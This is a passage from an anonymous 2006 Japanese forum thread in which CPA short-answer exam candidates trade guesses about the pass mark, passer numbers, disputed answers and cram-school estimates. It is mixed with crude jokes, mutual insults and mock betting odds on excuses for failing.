747 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:17:18 ID:???
矢印は2ちゃん上の圧力を表します。

75↓↓↓
74↓↓↓
73↓↓↓↓↓
72←2ちゃんボーダーいまこの辺
71↑↑↑↑↑↑↑↑↑↑
70↑↑↑↑↑



748 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:17:39 ID:???
経済の試験委員8人とかいるけど、こんなもん二人でいいだろ。
でも少なすぎるとすぐオナニーしたがるからやっぱダメか。

749 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:18:25 ID:???
        ィ'ミ,彡ミ 、  
       ミソ_、 ,_`彡
    -= ミj  ,」 彡 ハイ!ジョージ!!
  -=≡  i'<_∀ノ
    -=( つ┯つ
   -=≡/  / //
  -=≡(__)/ )
   -= (◎) ̄))


750 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:18:40 ID:???
「←ここまで受かっちゃうよw」がこなくなっただけ平和だな

751 :予想屋:2006/06/29(木) 23:19:14 ID:???
断言してやる!
試験が終わったあとの言い訳は

ボーダーに1点足りなかった

こういうやつが絶対に多い。
暇やつは他の点差と比べてみ
みんな1点差で落ちたっていうから!

ちょいこのレス保存しといて。

752 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:21:23 ID:???
>>747
もうちょい上
最低でも72点って感じだから(〜75点)

753 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:23:01 ID:???
>>743
そうだな議長また今度も議論会、指揮してくれよな。

754 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:23:46 ID:h6oHg0PB
>>751
試験が終わったあとでなく発表の後でない?

755 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:25:24 ID:???
>>743
議長来年も短答がんばれよ

756 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:26:21 ID:???
司法試験合格者等の免除の件、大原の講師に尋ねてみたところ、彼らは
従来から一般の受験生とは異なる取扱いだそうで、今回の短答合格者数の
決定にあたって(これまで同様)影響はないとのことです。

でも、法律分野でも人材不足なのに、そこから会計に人を引っ張ってきた
としても根本的な解決にならない気がするのですが・・・。専門職の人間の
絶対数を増やさないと、インフラが充実しないですよね?

757 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:26:29 ID:???
>>754
正確に言えばそう。
鋭いなw
80後半いったクチだろお前も

758 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:26:35 ID:???
>>748
いや役所は経営が少量で楽で、経済が大量で難だってことすら知らないと思うよ。
だからまあ8人・8人ということで、みたいなのり。

759 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:28:28 ID:???
>>756
でもおれは、価値が低くなるから増やさないでいい派

760 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:31:10 ID:???
試補の4000てどれくらいはけるんだろね。
一気に半分くらいになるのか?

761 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:31:50 ID:???
>>759
でも、明らかに人手不足で、過労から精神的疾患に陥ったり死亡する人が
少なからずいるのよね。会計も法律も。
だから会計士の友達に「お前、頼むから一発で合格して俺or私の引継ぎを
して!」と言われてます・・・。
合格しても、勉強していた時以上の激務が待っているようです。

762 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:33:25 ID:???
>>761
それは自分のやり方次第だよ。

763 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:37:31 ID:???
もう全員不合格でいいじゃん

764 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:39:23 ID:???
株価は買い煽りが多いと下がるものと聞いたのですが、
ボーダー予想も似たようなものですか?

765 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:47:13 ID:???
さて洗濯

766 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:50:06 ID:???
監査13が1になりますようにって神社でお祈りしてきた

767 ::2006/06/29(木) 23:51:53 ID:???
>>766
ダメ(`・ω・´)

768 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:53:24 ID:???
阪神はいつも最下位なのに何で毎年同じ神社に必勝祈願いくのか
みたいな話だなw

769 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 23:56:07 ID:???
なあリサーチ見たら72〜75の気がするんだがどうよ

770 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 23:58:10 ID:a/qZWNYI
金融庁が7割基準を明示したのは、
一般と免除の共通のモノサシを考慮したもの。
結局人数で切られるのです。

771 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 00:03:42 ID:???
受験生の心配も考えずに今夜も試験委員はズッコンバッコンしてるかと
思うと腹立つ

772 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:04:31 ID:abea4R0B
>>757
いや財表マジで飛んでしまい81だよ

773 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:05:10 ID:???
大原のリサーチ見たら72〜76が妥当だわな
去年基準なら74じゃね?

774 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:05:32 ID:YJIZAhJy
結局管理5は4、監査13は1なのか?

775 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:06:32 ID:???
どうでもいいけど、短答結果公表しろや。
問題出し逃げ、合格者発表逃げ。いい加減にしろや。

776 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 00:09:47 ID:???
>>773
今年は免除の平均点押し上げがあるから、上位構成率と偏差値の方が
当てになる。で、大原の例年基準だと今年は73か72

777 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:11:02 ID:???
今年から開示増えるかもよ。

778 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 00:11:21 ID:???
せめて国1みたいに解答だけでも翌朝にアップしてほしい

779 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:12:00 ID:???
TACデータリサーチでA判定打たれてるのにダメだったら、暴動ものだなw

780 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:13:13 ID:???
>>772
ぶっとんで81か
まぁ無難じゃね?おめでと。
普通にできるやつはこのくらいぶっとんでも取る
この事実をボーダー70以下とかいってる
アフォに理解してほしい

781 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:13:42 ID:???
72は2ch的につまらん
74か5あたりで祭にしてくれねーとなw

782 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:14:09 ID:???
>>774
管理3は5で採点しとけって
受講生も予備校も5が多いんだから
なんでこうも逆張りする奴が多いの?


783 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:14:15 ID:???
>>779
何点からA?

784 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:15:55 ID:???
>>781
いや、つまらんもなにも、
72〜73が順当な予想なんだけどね。
2チャンボーダーって、
今年は2チャンのがリアルよりレベル低いからね。
例年と一緒にしないように

785 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:15:59 ID:???
>>781
だなw
76だったらマジ面白くて勉強できなそう

786 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:16:44 ID:???
>>781
すまん、誤読した、
俺も同意

787 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:17:15 ID:???
>>784
だから72だとつまんねえんだろ
お前バカ?

788 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:18:52 ID:???
70で逆祭が起きたらむかついて勉強できん

789 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:19:19 ID:???
>>787
>>786を読んでくれ

790 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:20:45 ID:???
>>788
だなw
おれが勉強できるのは72…
いや

何点でもこのスレの祭見たくて勉強できなそう

791 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:21:09 ID:YJIZAhJy
>782
だから2ch的には管理3が4、監査13が1の方が面白いだろ。

792 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:22:02 ID:???
それは面白くないよ

793 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:22:27 ID:/HACSdB0
71だけど一点足りなかったを予約していいお?

794 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:22:49 ID:???
点数ばっかりで合格人数が予測対象になってないのが理解できない

旧制度の3000人基準がなくなったんだぜ?
まず「何人合格させるか」という予測からはじめないと!

同じ74点予測者でも「(3000人合格で)74点」なのか「(3500人合格で)74点」なのかで違うでしょ
70点と72点予測者でも「(4000人合格で)70点」と「(4000人合格で)72点」なら同じでしょ

大事なのは合格点数じゃなくて合格人数の予測だよ
点数は人数に従属するにすぎない

はいはい長文乙>俺
俺の予想は4000人合格72点ね

795 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:22:53 ID:YJIZAhJy
実際疑義抜き80点以上のかなりの人間が管理3を4、監査13
を1にやってる。

796 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:24:01 ID:???
72だけど全予備校が外してる問題があって自己採点72の奴が
脂肪するのもありかな

797 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:24:15 ID:???
俺思いが行動に出るタイプだ。
試験官が開始前の説明で短答式試験の結果は一切公表しませんっていった瞬間に思わず
舌打ちしてしまった。

798 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:25:15 ID:???
>>794
免除組を何人で計算してんの?
俺の予想は4科目受験の奴は73で3600人合格だな

799 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:25:19 ID:???
「かなりの人間」ワロス

800 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:27:10 ID:???
監査13=1、14=2、19=3管理3=4
ボーダー72なら祭のヨ・カ・ン

801 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:28:01 ID:???
>>795
TACでも大原でも それぞれ5、3、が多数だけど

802 :予想屋:2006/06/30(金) 00:28:13 ID:???
>>793
どうぞどうぞ
短答落ちの皆様にはどうぞ私の提案した
1点足りなくて落ちたをご活用なさっていただいて

存分に「惜しかったね」「来年はいけるよ」
という上辺だけの慰めのことばを受けていただければと

他にも監査の疑義問でタックなら合格だった
などのオプションも用意してありますので
どうぞご自由にお使いになってください

こちらとしては対価は一切受け取りません
私めはあなた方の祭を存分に楽しませていただくだけですので
私めは7月5日のご活躍を心より応援する者でございますゆえ

803 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:28:39 ID:???
>>783

A判定 72.6〜
B判定 70.8〜
C判定 69.0〜

804 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:29:53 ID:???
管理3も監査13、14も疑義じゃないだろ
管理3なんか、TACの講師もビデオ講座以外では
5って言ってんだから

805 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:30:08 ID:???
今テレビ東京で信じがたいシーンを見たんだが、
まさか試験委員もこんな感じで採点作ってるのか?

806 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 00:30:15 ID:???
TACのA判定で落ちた人っていたの?

807 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:30:47 ID:???
去年のA判定はいくつだったのら??

808 :予想屋:2006/06/30(金) 00:30:51 ID:???
>>803
タック判定ではAだったけど落ちた
これもオプションに追加させてください

809 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 00:31:06 ID:???
>管理3なんか、TACの講師もビデオ講座以外では
>5って言ってんだから

ついに寝返り者が出たかw

810 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:33:20 ID:YJIZAhJy
>809
その心は?

811 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:33:36 ID:???
少数派でかつボーダーの奴が自分に言い聞かせてるだけだろw
ほっとけww

812 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:34:23 ID:abea4R0B
野球拳いいね 受かったらみんなで行こうや

813 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:34:32 ID:???
てか管理3だけなんでこうも繰返し話題にでるの?
たいてい話しの流れ的に「管理3は4」とかいう書き出しなんだけど、
毎回同じ奴がこの話題きりだしてんじゃないの?
別に配点はかわらないんだぜ?


814 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:34:53 ID:???
>>804
そうなんか

815 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:36:35 ID:???
予想屋さん
「受験局名、受験番号マークミスしたみたい」
はいかがですか?

816 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:36:39 ID:???
監査19の答えは野球拳で決まったらしいよ

817 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:37:02 ID:YJIZAhJy
>811
そうか、オマエも管理3が4だと思ってるんだな。同じ穴の
狢だよ。

818 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:38:29 ID:???
>>817
4でも5でもどっちでもいいよ

俺疑義抜き80オーバーだからw

819 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:39:08 ID:YJIZAhJy
ちなみにオマエの解答は?

820 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:39:58 ID:5FdHhnTi
友人が管理3を2にしたらしい。


821 :予想屋:2006/06/30(金) 00:40:07 ID:???
>>815
いや、それは相手に「本当かよ」
と思われてしまう可能性が高いため
あまり使う人はいないと思います

2問くらいマークミスしたっぽいorz
はそこそこの使用が予想されますが。

822 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:40:35 ID:???
>>819
あぁ?「オマエ」だぁ?
ボーダーの分際で偉そうな口きくなよヴァーカw

823 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:41:53 ID:YJIZAhJy
俺は疑義抜き80だ。ちなみに管理3は4、監査13は1だ。

824 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:43:00 ID:???
えびすうぜー。
典型的な説教親父じゃねえか。。。
はやく野球拳再開せいやー。

825 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:43:02 ID:???
>>822
おまえテラワロスwwwww

おれ管理のそれ4どころか3にしたけど89
1問にこだわるボーダー君は確かにざつうお

826 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:43:21 ID:???
>>821
「受験態度が悪く試験管に目をつけられたせいか
、なんか俺の答案だけヤミに葬られたっぽい」
ってのはダメかな?

827 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:43:40 ID:???
>>823
疑義抜き80のくせに何で未だに疑義問で議論したがんの?
俺なんかもうどんな問題だったかすら覚えてねえぞw

828 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:44:14 ID:???
よくわかんないんだけど、
マン○で床に落ちているお札とかって挟めるもんなの?

829 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:46:53 ID:???
合格発表って番号発表だよね?名前は公表されないよね?
なんか同じ校舎の知り合い調べまくるぜ!って意気込んでる香具師がいたんだが…

830 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:47:23 ID:???
野球拳キタコレ

831 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:47:24 ID:???
今だに疑義問について議論するボーダーちゃん哀れw
その時間を来年のための勉強に使えよw

832 :予想屋:2006/06/30(金) 00:49:46 ID:???
>>826
現実を見ようねと言われてしまいますね

やはりベストは1点足りなかった。これが1番です。

◎1点足りなかった 1.7
○タック採点なら合格だった 4.8
△マークミスったっぽい 10.7
▲トイレ行ったら時間なくなった 34.1
×名前書き忘れた 236.2

833 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:50:28 ID:???
安全圏にいるのに疑義問の話を進んでしたがる奴なんていねえよな〜
そういう奴ほど自分の点数を聞かれるとたいてい80オーバーw

834 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:50:32 ID:???
>>829
昨年までは官報で名前も載ってたけどな。
今年からどうなるのか知らない。
官報はネットでも見られるから調べようと思えば調べられるね。

てかコンパニオンってここまでしてくれるんだ。。。すげー。
試験委員は問題作成に疲れたときに・・・・・・

835 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:51:05 ID:???
>>829
名前出るよ
官報かなにか

836 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:51:13 ID:YJIZAhJy
>832
タック採点じゃなくてレック採点だろ。

837 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:52:15 ID:???
×朝、ウィッキーさんの英会話講座につかまって遅刻した 999.9

838 :予想屋:2006/06/30(金) 00:59:22 ID:???
>>836
正直、正答に興味がないので
どこの答えがDQNなのかもわからないんですよ

言い訳オッズ(2連式)◎1点足りない‐タックA判定だったのに
4.5
○1日目余裕だったから調子こいた‐財務やらずに租税やっちゃったよ 16.2
△疑義問全部逆いった‐2択までは全部絞れた 32.1
▲論文までいけば受かる実力あるのに‐タックの答練では名前載るんだ 65.9
×講師がやらなくていいっていった‐見た瞬間飛ばしたら簡単だった 397.1

839 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 00:59:36 ID:???
家にクーラーも扇風機も無くてあせだらだらなんだが、
みんな今冷房とかつけてるの?

840 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:01:20 ID:???
もうガンガン

841 :予想屋:2006/06/30(金) 01:02:56 ID:???
◎慶應大はつけてる 1.1

私はさっき消しました
寝る時かけると疲れるので

842 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:04:38 ID:p4NwVRtw
マジレスで もし俺が1億円かけることができるなら
69に1億円かける

843 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:04:39 ID:???
>>840,841
熱い・・・・・・げんなり。
てか7,8月どうしよ。。。


844 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:09:02 ID:???
◎慶応大は勘違いナルシストが多い 1.1



845 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 01:40:20 ID:???
1億かけるなら67

846 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:53:49 ID:???
◎慶応大のナルシストはヘタレ 1.0

847 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 01:54:24 ID:???
なんか、ボーダーが不安だとこのスレ見ちゃうんだよね。

逆に安心すると見ないんだよね。

ってことは、書き込んでいる奴らも結局はボーダー君?

848 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:07:06 ID:???
ジオン公国総帥部は平成18年度公認会計士短答式試験のボーダーを74と決定した・・・。

849 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:08:54 ID:p4NwVRtw
大原座談会ボーダー 62〜65

クレ 座談会ボーダー
63〜66

850 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:10:36 ID:???
タック座談会ボーダー76

851 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:16:05 ID:???
れっく座談会(内部)ボーダー64〜67

852 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:16:20 ID:???
株式会社タック総帥部は平成18年度公認会計士短答式試験のボーダーを76と発表した・・・。

853 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:17:14 ID:???
これだけ乖離する例も初めてだな
座談会ボーダーは軒並み60台
やっぱり70基準に煽られたか
最大の煽りは金融庁

854 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:18:20 ID:???
ずっとここみているけど
62〜67って妥当な線じゃん?
タックの座談会が講師の独走なのは有名だし

855 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:19:05 ID:???
いや、さすがに64以下はないだろう
65〜67のどれかとみる
勿論疑義ナシで・・・

856 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:19:36 ID:???
わかったわかった
じゃあ65点 7000人合格。

857 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:20:08 ID:???
東京c○a座談会ボーダー65

858 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:20:57 ID:???
65で5000〜6000の間だろう?

859 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:21:27 ID:???
2ちゃんねる会計板短答式スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを74と決定した・・・。

860 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:22:23 ID:???
74煽りしつけ〜な

861 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:22:35 ID:???
65って、お前ら起きてるのに夢見てんの?w
夢を見ていいのは70〜73じゃまいか。

862 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:22:56 ID:???
もう少し上?なんじゃね〜の?

863 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:23:44 ID:p4NwVRtw
タック乙

おおはずしの予感乙

短答企業法 バカスク生が参入することによる 易化 予想できず 乙

タック 短答答練 監査 やたら 答えにくい問題作ってたが
結局本番は 普通 タック乙

タック 短答答練 管理会計
企業価値評価とか 試験委員対策とか けっこうだしてたわりに 全然 でてねー 乙

理論が こんなに多いってことも 全然予想できてねぇ 乙

財務会計 普通に作問者がバカ 乙

バカスク生は ただでさえ企業法だけで 楽なのに、問題も4科目の中で 超簡単

バカスク卒のやつは
監査法人入って いじめ 乙

ボーダー75だったら 受験生 暴徒化 金融庁のかたがた 人生そろそろ乙

864 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:23:46 ID:???
ボーダー70は切る
さる有名講師のお言葉
断言しやがったぜい

865 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:24:08 ID:???
短答スレ最高評議会議長に2ちゃんねるボーダー決めてもらおうぜ!
彼に全権委任でよろしいか?

866 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:24:54 ID:???
そりゃこまるわアホだもん

867 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:25:10 ID:???
>>863
そんなタックにうん百万も払ったお主乙w

868 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:25:33 ID:???
69以下は無いって。
絶対無い。

869 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:26:00 ID:???
タック生だけど、今回タックは外したって感じはする。
タックだけやっていたらきつかったんじゃないかな。特に財務。

870 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:26:57 ID:???
70基準は単に基準
結局どれだけ合格者を取るかだな

871 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:27:56 ID:???
06.30
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを72と決定した・・・。

872 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:28:14 ID:???
5000なら66くらいだろうな〜
認めたくないけど、そんなもののような気がする
63だったから後3問取れていれば。

873 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:28:59 ID:???
70基準は合格者足りないときに70以下にするため。
今年は70以上で十分に合格者増。


874 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:29:16 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを65と決定した・・・。


875 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:29:33 ID:???
2年繰越を考慮すると、今年の合格者だけで論文受験可能最大人数を合格はさせないだろう
よって4000人程度

大幅な易化を考慮すると、旧試験でいう35、36で3000後半に達するだろう
よって70〜72点

財務会計論免除者を考慮すると、財会免除ならばほとんどの者が合格するであろう
以上からボーダーは72点・論文受験者は4300人

876 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:29:48 ID:???
じゃ65〜72の間ということじゃん?

877 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:31:21 ID:???
65まで下げたら5〜6000人じゃすまないぞ!!!!!!!


878 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:31:45 ID:???
>>875
誰も大幅な易化なんていって無いじゃん?
むしろやや難がこのスレ
れっくなんて65台だぞ
タック大原も意外や意外70〜71

879 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:32:00 ID:p4NwVRtw
タック分析

リサーチ平均とボーダーの比較

企業法も監査も管理会計も リサーチ平均よりボーダーは下なのに

なぜか 財務会計だけ
リサーチ平均より ボーダーが全然上の28という事実



880 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:32:58 ID:???
>>874
どんどん下がってんじゃねえかよ!
最高評議会しっかりしろよ!
>>888
おまい、2ちゃんボーダー決めていいよ。

881 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:33:24 ID:???
>>879
そりゃ例の講師が首を縦に振らなかったんだろうよ
俺の方針は間違っていませんでした、タック生ならば財務は取れていますって営業

882 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:33:57 ID:???
ボーダー68!

883 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:34:10 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを66と決定した・・・。

884 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:34:26 ID:???
>>878
じゃあ訂正

リサーチから推測すると、70〜72で3000後半に達するだろう

よって4300人・72点

885 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:34:37 ID:???
80

886 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:35:41 ID:???
難しかったんだよ、全体的には
でも、免除者と、70の文言がリサーチを狂わせた。
と、予備校は言っているように思える。
だからこその座談会と、リサーチのダブルボーダー
あたった方を使うんじゃない?

887 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:35:45 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを67と決定した・・・。

888 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:35:58 ID:p4NwVRtw
タックの座談会ボーダーは タックで勉強してれば 基準の7割は 超えられる
と 言いたいがために 財務会計のボーダーを28にしたという 噂について

889 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:36:12 ID:???
66

890 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:37:11 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを66と決定した・・・。

891 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:37:53 ID:???
なんでこんなにボーダー予想がブレるの?

起きている住人が違うの?

892 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:38:01 ID:???
ここ見てると低いね
意外と今年は祭りなのか?

893 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:39:04 ID:???
旧基準が頭にこびりついた妄想組と
人数増に期待する妄想組の争いだから

894 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:39:43 ID:???
65でいいじゃん
別に増えたからって仕事がしやすくなる

895 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:40:40 ID:???
2ちゃんとは思えない低さだな
誰か煽れないのか?
まあ、ネタも無いしな

896 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:41:15 ID:???
いまの話題は65〜67のどこに落ち着くか?なのか?
寝み〜から落ちるわ

897 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:41:35 ID:???
じゃあ、俺が煽る!
俺の周りに80以下いないから、ボーダー75以下なんてありえないって!

898 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:42:03 ID:???
合格者は旧制度より増えるのに、それを考えないで
「去年より簡単やったから上がるでー」と高すぎに煽るやつがいる

繰越だから1年で最大採点可能数合格させるはずないのに、それを考えないで
「たくさん受からせるから下がるでー」と低すぎに煽るやつがいる

899 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:42:07 ID:???
>>897
ブラヴォ〜
ボーダーは76!

900 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:42:27 ID:???
なんで65とかになるの?
70切ることないだろ?
去年あんだけ会計士足りないし旧試験最後だからってちまたでは1400〜1500人合格といわれ、
補習所は1400以上の席を確保し、四大法人も1400以上の応募を出したのに蓋を開けたら
1300人しか合格してなかったじゃん。

901 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:43:06 ID:???
去年は旧基準
悔しかっただろうけど、忘れましょうね

902 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:43:38 ID:p4NwVRtw
レックは 最初ボーダー予想を64〜67にしていたが 70前後に 変更したんだから
もしボーダー64でも 的中と宣伝するなよと一喝


903 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:43:45 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを76と決定した・・・。

904 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:43:50 ID:YlU/TE+M
66〜67あたりが現実的な意見に賛成
廻りの60台はみんなリサーチ出してないよ
60台前半は皆無
出しているほうが珍しいくらい

905 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:44:01 ID:???
>>900
君の言うことをマジに受け取ると、逆説的に今年は65もありになってしまうが

906 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:44:07 ID:???
>>900
今年から増やすため

907 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:44:35 ID:???
おまえたちあきらめたほうがいいよ。
おれのまわり70以上いないからw

908 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:44:53 ID:???
おれも66〜67
だけど65もあるかも試練
疑義の存在が・・・

909 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:45:59 ID:???
いや、マジでおれの周りは60前半だぞ
65〜くらいからは可能性はあると思うが・・・

910 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:46:29 ID:YlU/TE+M
それとリサーチの平均は4科目
受験者を区別していないからね
問題数増えて得点が伸びる?ミスが増える?
普通に考えればミスが増えるほうがより人間らしい

911 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:46:29 ID:???
>>907

GOOD!

912 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:46:32 ID:p4NwVRtw
ボーダー64 5800人合格は ありえないに 1億円

913 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:46:44 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを疑義無し66と決定した・・・。




914 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:47:32 ID:???
64はねえな


915 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:47:46 ID:???
今宵も66粘着自演君がいるようだねw
俺の仲良しグループで去年論文落ち四人いて最低点は76
たぶん70〜2くらいじゃないの?

